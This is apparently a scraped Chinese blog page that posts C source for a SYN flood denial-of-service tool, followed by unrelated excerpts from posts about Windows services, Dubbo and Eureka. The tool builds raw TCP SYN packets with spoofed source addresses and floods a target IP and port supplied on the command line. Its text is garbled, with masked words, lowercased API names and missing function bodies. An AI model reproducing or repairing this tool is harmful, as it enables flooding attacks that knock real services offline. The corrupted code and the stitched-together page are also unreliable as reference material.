synflood原始碼(拒絕服務攻擊)

2021-03-31 23:16:06 字數 3033 閱讀 6510

#include #include #include #include #pragma ***ment(lib,"ws2_32")

#pragma ***ment(lib,"wsock32")

#define fake_ip "201.79.131.18"

#define seq 0x28376839

#define right "***************coder paris-ye********************/n"

ushort checksum(ushort *buffer, int size);

int flood();

typedef struct tcphdr

tcp_header;

typedef struct iphdr

ip_header;

struct

psd_header;

wsadata wsadata;

socket sockmain = (socket) null;

int errorcode=0,flag=true,timeout=2000,fakeip***,fakeiphost,datasize=0,sendseq=0;

unsigned short activport=40000;

struct sockaddr_in sockaddr;

tcp_header tcpheader;

ip_header ipheader;

char sendbuf[128];

ushort checksum(ushort *buffer, int size)

if(size) cksum+=*(uchar*)buffer;

cksum=(cksum >> 16)+(cksum&0xffff);

cksum+=(cksum >>16);

return (ushort)(~cksum);

}int main(int argc,char* argv)

if((errorcode=wsastartup(makeword(2,1),&wsadata))!=0)

if(sockmain==invalid_socket)

errorcode=setsockopt(sockmain,ipproto_ip,ip_hdrincl,(char *)&flag,sizeof(int));

if(errorcode==socket_error)

errorcode=setsockopt(sockmain,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout));

if(errorcode==socket_error)

portnum=atoi(argv[2]);

memset(&sockaddr,0,sizeof(sockaddr));

sockaddr.sin_family=af_i***;

sockaddr.sin_addr.s_addr =i***_addr(argv[1]);

fakeip***=i***_addr(fake_ip);

fakeiphost=ntohl(fakeip***);

ipheader.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

ipheader.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));

ipheader.ident = 1;

ipheader.frag_and_flags = 0;

ipheader.ttl = 128;

ipheader.proto = ipproto_tcp;

ipheader.checksum =0;

ipheader.sourceip = htonl(fakeiphost+sendseq);

ipheader.destip = i***_addr(argv[1]);

tcpheader.th_dport=htons(portnum);

tcpheader.th_sport = htons(portnum);

tcpheader.th_seq = htonl(seq+sendseq);

tcpheader.th_ack = 0;

tcpheader.th_lenres =(sizeof(tcp_header)/4<<4|0);

tcpheader.th_flag = 2;

tcpheader.th_win = htons(16384);

tcpheader.th_urp = 0;

tcpheader.th_sum = 0;

psd_header.saddr=ipheader.sourceip;

psd_header.daddr=ipheader.destip;

psd_header.mbz=0;

psd_header.ptcl=ipproto_tcp;

psd_header.tcpl=htons(sizeof(tcpheader));

printf("%s/n",right);

hthread=createthread(null,0,(lpthread_start_routine)flood,0,create_suspended,&dw);

setthreadpriority(hthread,thread_priority_highest);

resumethread(hthread);

printf("warning[start].........../npress any key to stop!/n");

putinfo=getchar();

terminatethread(hthread,0);

wsacleanup();

printf("/nstopd.........../n");

return 0;

}int flood()

// sleep(1000);

} return 0;

}

服務框架原始碼

include stdio.h include windows.h service statusm servicestatus service status handlem servicestatushandle boolbrunning true void winapiservicemain dw...

原始碼包服務管理

一 原始碼包安裝服務的啟動 使用絕對路徑,呼叫啟動指令碼來啟動。不同原始碼包的啟動指令碼不同。可以檢視原始碼包的安裝說明,檢視啟動指令碼的方法。root localhost xinetd.d usr sbin apachectl stop root localhost xinetd.d usr sb...

dubbo原始碼 服務目錄

dubbo用在微服務,那麼肯定是需要使用到叢集的 面對叢集就需要處理機器宕機的問題,如果是普通服務,一個機子宕機,那麼我們還可以人工去維護,在叢集裡面宕機,就很麻煩,所以需要我們軟體有容錯的功能,dubbo在容錯機制,分為四個 1.服務目錄 directory 也就是本章 2.服務路由router ...

Eureka原始碼之服務註冊

discoveryclient的建構函式中會呼叫initscheduledtasks這個函式,先看看這個函式 private void initscheduledtasks renewalintervalinsecs heartbeat timer scheduler.schedule new ti...

微服務框架原始碼解析

springboot 自動配置主要通過 enableautoconfiguration,conditional,enableconfigurationproperties 或者 configurationproperties 等幾個註解來進行自動配置完成的。enableautoconfigurati...